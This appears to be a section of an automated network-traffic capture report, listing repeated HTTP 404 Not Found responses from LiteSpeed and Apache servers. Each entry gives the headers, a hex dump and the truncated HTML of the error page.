Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 25 Sep 2024 10:47:00 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 25 Sep 2024 10:47:03 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 25 Sep 2024 10:47:05 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 25 Sep 2024 10:47:08 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 25 Sep 2024 10:47:27 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 32106X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 25 Sep 2024 10:47:29 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 32106X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 25 Sep 2024 10:47:32 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 32106X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 